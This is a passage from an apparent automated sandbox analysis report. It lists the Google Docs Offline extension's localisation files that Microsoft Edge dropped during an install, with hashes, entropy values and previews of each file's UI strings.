Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5736_563263010\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
